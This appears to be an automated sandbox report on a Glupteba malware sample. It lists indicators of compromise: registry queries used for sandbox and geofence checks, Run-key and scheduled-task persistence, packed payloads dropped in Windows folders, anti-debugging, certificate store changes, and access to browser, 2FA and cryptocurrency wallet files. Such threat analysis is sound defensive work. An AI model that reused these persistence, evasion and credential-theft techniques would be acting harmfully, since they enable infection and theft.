glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

Processes:

QLWouRTlTxb6fAroZ_myRvWb.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe_9mXUxETzaTdEWiYij9i5Nec.exeQLWouRTlTxb6fAroZ_myRvWb.exeWMqvAlh8_pDtOF327ptRNKm2.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe_9mXUxETzaTdEWiYij9i5Nec.exeWMqvAlh8_pDtOF327ptRNKm2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	QLWouRTlTxb6fAroZ_myRvWb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	QLWouRTlTxb6fAroZ_myRvWb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	_9mXUxETzaTdEWiYij9i5Nec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	QLWouRTlTxb6fAroZ_myRvWb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WMqvAlh8_pDtOF327ptRNKm2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	QLWouRTlTxb6fAroZ_myRvWb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	_9mXUxETzaTdEWiYij9i5Nec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WMqvAlh8_pDtOF327ptRNKm2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	_9mXUxETzaTdEWiYij9i5Nec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	_9mXUxETzaTdEWiYij9i5Nec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WMqvAlh8_pDtOF327ptRNKm2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WMqvAlh8_pDtOF327ptRNKm2.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Setup (21).exeSetup (21).exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\International\Geo\Nation	Setup (21).exe
Key value queried	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\International\Geo\Nation	Setup (21).exe

Loads dropped DLL 64 IoCs

Processes:

Setup (21).exeCWvg1ViW45mfD3cwPRmW8m3I.exe53MCfXXtkfWsHza3CJBD6za1.exerpH8ZWtiSX9X6WNHh1WJ8UrL.exeIm20rYhq_aY1DxsHQOwFlu8h.exerpH8ZWtiSX9X6WNHh1WJ8UrL.tmpSetup (21).exeCWvg1ViW45mfD3cwPRmW8m3I.exe

pid	process
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
1732	CWvg1ViW45mfD3cwPRmW8m3I.exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
2000	53MCfXXtkfWsHza3CJBD6za1.exe
1424	rpH8ZWtiSX9X6WNHh1WJ8UrL.exe
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
1520	Im20rYhq_aY1DxsHQOwFlu8h.exe
2436	rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp
2436	rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp
2436	rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
664	Setup (21).exe
1732	CWvg1ViW45mfD3cwPRmW8m3I.exe
664	Setup (21).exe
664	Setup (21).exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 24 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe	themida
\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe	themida
\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe	themida
\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe	themida
C:\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe	themida
C:\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe	themida
C:\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe	themida
C:\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe	themida
behavioral27/memory/1816-198-0x0000000000DE0000-0x0000000000DE1000-memory.dmp	themida
behavioral27/memory/1604-203-0x0000000000E10000-0x0000000000E11000-memory.dmp	themida
behavioral27/memory/112-210-0x0000000000C70000-0x0000000000C71000-memory.dmp	themida
behavioral27/memory/948-222-0x00000000002C0000-0x00000000002C1000-memory.dmp	themida
\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe	themida
\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe	themida
\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe	themida
\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe	themida
C:\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe	themida
C:\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe	themida
C:\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe	themida
C:\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe	themida
behavioral27/memory/1816-198-0x0000000000DE0000-0x0000000000DE1000-memory.dmp	themida
behavioral27/memory/1604-203-0x0000000000E10000-0x0000000000E11000-memory.dmp	themida
behavioral27/memory/112-210-0x0000000000C70000-0x0000000000C71000-memory.dmp	themida
behavioral27/memory/948-222-0x00000000002C0000-0x00000000002C1000-memory.dmp	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

53MCfXXtkfWsHza3CJBD6za1.exe53MCfXXtkfWsHza3CJBD6za1.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Windows\\HelpPane\\explorer.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9hL434R6RaggjkAEgK1YOktb = "\"C:\\Users\\Admin\\Documents\\Files\\9hL434R6RaggjkAEgK1YOktb.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NzxsyYlysdBauX2Y436vSgO8 = "\"C:\\Users\\Admin\\Documents\\SkipUnprotect\\NzxsyYlysdBauX2Y436vSgO8.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost = "\"C:\\Windows\\System32\\WsmTxt\\taskhost.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LeNW19xoO5E82rP71JC3IA_X = "\"C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\LeNW19xoO5E82rP71JC3IA_X.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NzxsyYlysdBauX2Y436vSgO8 = "\"C:\\Users\\Admin\\Documents\\SkipUnprotect\\NzxsyYlysdBauX2Y436vSgO8.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost = "\"C:\\Windows\\System32\\WsmTxt\\taskhost.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rjl250sECO384l6hekfWur37 = "\"C:\\Documents and Settings\\rjl250sECO384l6hekfWur37.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Windows\\HelpPane\\explorer.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9hL434R6RaggjkAEgK1YOktb = "\"C:\\Users\\Admin\\Documents\\Files\\9hL434R6RaggjkAEgK1YOktb.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rjl250sECO384l6hekfWur37 = "\"C:\\Documents and Settings\\rjl250sECO384l6hekfWur37.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LeNW19xoO5E82rP71JC3IA_X = "\"C:\\Windows\\ehome\\CreateDisc\\SFXPlugins\\LeNW19xoO5E82rP71JC3IA_X.exe\""	53MCfXXtkfWsHza3CJBD6za1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 8 IoCs

evasion trojan

System Information Discovery

Processes:

_9mXUxETzaTdEWiYij9i5Nec.exeWMqvAlh8_pDtOF327ptRNKm2.exeQLWouRTlTxb6fAroZ_myRvWb.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe_9mXUxETzaTdEWiYij9i5Nec.exeWMqvAlh8_pDtOF327ptRNKm2.exeQLWouRTlTxb6fAroZ_myRvWb.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	_9mXUxETzaTdEWiYij9i5Nec.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WMqvAlh8_pDtOF327ptRNKm2.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	QLWouRTlTxb6fAroZ_myRvWb.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	h6SnkxQsBB21Yzz1QEK5hAZl.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	_9mXUxETzaTdEWiYij9i5Nec.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WMqvAlh8_pDtOF327ptRNKm2.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	QLWouRTlTxb6fAroZ_myRvWb.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	h6SnkxQsBB21Yzz1QEK5hAZl.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

132 ip-api.com
176 ipinfo.io
291 ipinfo.io
315 ipinfo.io
522 ipinfo.io
20 ipinfo.io
21 ipinfo.io
174 ipinfo.io
301 ipinfo.io
313 ipinfo.io
339 ipinfo.io

flow	ioc
132	ip-api.com
176	ipinfo.io
291	ipinfo.io
315	ipinfo.io
522	ipinfo.io
20	ipinfo.io
21	ipinfo.io
174	ipinfo.io
301	ipinfo.io
313	ipinfo.io
339	ipinfo.io

Drops file in System32 directory 4 IoCs

Processes:

53MCfXXtkfWsHza3CJBD6za1.exe53MCfXXtkfWsHza3CJBD6za1.exe

description	ioc	process
File created	C:\Windows\System32\WsmTxt\b75386f1303e64d8139363b71e44ac16341adf4e	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\System32\WsmTxt\taskhost.exe	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\System32\WsmTxt\b75386f1303e64d8139363b71e44ac16341adf4e	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\System32\WsmTxt\taskhost.exe	53MCfXXtkfWsHza3CJBD6za1.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

QLWouRTlTxb6fAroZ_myRvWb.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe_9mXUxETzaTdEWiYij9i5Nec.exeWMqvAlh8_pDtOF327ptRNKm2.exeQLWouRTlTxb6fAroZ_myRvWb.exeh6SnkxQsBB21Yzz1QEK5hAZl.exe_9mXUxETzaTdEWiYij9i5Nec.exeWMqvAlh8_pDtOF327ptRNKm2.exe

pid	process
1816	QLWouRTlTxb6fAroZ_myRvWb.exe
1604	h6SnkxQsBB21Yzz1QEK5hAZl.exe
112	_9mXUxETzaTdEWiYij9i5Nec.exe
948	WMqvAlh8_pDtOF327ptRNKm2.exe
1816	QLWouRTlTxb6fAroZ_myRvWb.exe
1604	h6SnkxQsBB21Yzz1QEK5hAZl.exe
112	_9mXUxETzaTdEWiYij9i5Nec.exe
948	WMqvAlh8_pDtOF327ptRNKm2.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

zUaCuwbHmdHIgTdIpVnvQbsF.exeDMcUxiVhcYGanalEsN_oYz7h.exe1uzHmugvKAfyECtMSwtpeymi.exezUaCuwbHmdHIgTdIpVnvQbsF.exeDMcUxiVhcYGanalEsN_oYz7h.exe1uzHmugvKAfyECtMSwtpeymi.exe

description	pid	process	target process
PID 1072 set thread context of 1580	1072	zUaCuwbHmdHIgTdIpVnvQbsF.exe	zUaCuwbHmdHIgTdIpVnvQbsF.exe
PID 524 set thread context of 2612	524	DMcUxiVhcYGanalEsN_oYz7h.exe	DMcUxiVhcYGanalEsN_oYz7h.exe
PID 1660 set thread context of 2620	1660	1uzHmugvKAfyECtMSwtpeymi.exe	1uzHmugvKAfyECtMSwtpeymi.exe
PID 1072 set thread context of 1580	1072	zUaCuwbHmdHIgTdIpVnvQbsF.exe	zUaCuwbHmdHIgTdIpVnvQbsF.exe
PID 524 set thread context of 2612	524	DMcUxiVhcYGanalEsN_oYz7h.exe	DMcUxiVhcYGanalEsN_oYz7h.exe
PID 1660 set thread context of 2620	1660	1uzHmugvKAfyECtMSwtpeymi.exe	1uzHmugvKAfyECtMSwtpeymi.exe

Drops file in Windows directory 8 IoCs

Processes:

53MCfXXtkfWsHza3CJBD6za1.exe53MCfXXtkfWsHza3CJBD6za1.exe

description	ioc	process
File created	C:\Windows\HelpPane\7a0fd90576e08807bde2cc57bcf9854bbce05fe3	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\ehome\CreateDisc\SFXPlugins\LeNW19xoO5E82rP71JC3IA_X.exe	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\ehome\CreateDisc\SFXPlugins\cab93ccb5f954f32546fde3f6280461a6bc7bcd7	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\HelpPane\explorer.exe	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\HelpPane\7a0fd90576e08807bde2cc57bcf9854bbce05fe3	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\ehome\CreateDisc\SFXPlugins\LeNW19xoO5E82rP71JC3IA_X.exe	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\ehome\CreateDisc\SFXPlugins\cab93ccb5f954f32546fde3f6280461a6bc7bcd7	53MCfXXtkfWsHza3CJBD6za1.exe
File created	C:\Windows\HelpPane\explorer.exe	53MCfXXtkfWsHza3CJBD6za1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 12 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1072	2956	WerFault.exe	6637670.exe
2256	2968	WerFault.exe	1198010.exe
2564	2284	WerFault.exe	ssqq.exe
3200	3552	WerFault.exe	Z4Z9O2U4IJQ0Y0n1A_qocffy.exe
3360	1392	WerFault.exe	3163850.exe
3716	2376	WerFault.exe	5151923.exe
1072	2956	WerFault.exe	6637670.exe
2256	2968	WerFault.exe	1198010.exe
2564	2284	WerFault.exe	ssqq.exe
3200	3552	WerFault.exe	Z4Z9O2U4IJQ0Y0n1A_qocffy.exe
3360	1392	WerFault.exe	3163850.exe
3716	2376	WerFault.exe	5151923.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

zUaCuwbHmdHIgTdIpVnvQbsF.exezUaCuwbHmdHIgTdIpVnvQbsF.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zUaCuwbHmdHIgTdIpVnvQbsF.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zUaCuwbHmdHIgTdIpVnvQbsF.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zUaCuwbHmdHIgTdIpVnvQbsF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zUaCuwbHmdHIgTdIpVnvQbsF.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zUaCuwbHmdHIgTdIpVnvQbsF.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	zUaCuwbHmdHIgTdIpVnvQbsF.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Im20rYhq_aY1DxsHQOwFlu8h.exeIm20rYhq_aY1DxsHQOwFlu8h.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Im20rYhq_aY1DxsHQOwFlu8h.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Im20rYhq_aY1DxsHQOwFlu8h.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2244	schtasks.exe
2252	schtasks.exe
2260	schtasks.exe
2268	schtasks.exe
2228	schtasks.exe
2244	schtasks.exe
2228	schtasks.exe
2268	schtasks.exe
2236	schtasks.exe
2236	schtasks.exe
2252	schtasks.exe
2260	schtasks.exe

Delays execution with timeout.exe 4 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exe

pid process

3008 timeout.exe
2088 timeout.exe
3008 timeout.exe
2088 timeout.exe

pid	process
3008	timeout.exe
2088	timeout.exe
3008	timeout.exe
2088	timeout.exe

Kills process with taskkill 14 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2024	taskkill.exe
664	taskkill.exe
2024	taskkill.exe
2872	taskkill.exe
2568	taskkill.exe
3028	taskkill.exe
2568	taskkill.exe
700	taskkill.exe
3028	taskkill.exe
2872	taskkill.exe
664	taskkill.exe
2156	taskkill.exe
2156	taskkill.exe
700	taskkill.exe

Modifies system certificate store 2 TTPs 16 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Setup (21).exeIm20rYhq_aY1DxsHQOwFlu8h.exeIm20rYhq_aY1DxsHQOwFlu8h.exeSetup (21).exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Setup (21).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092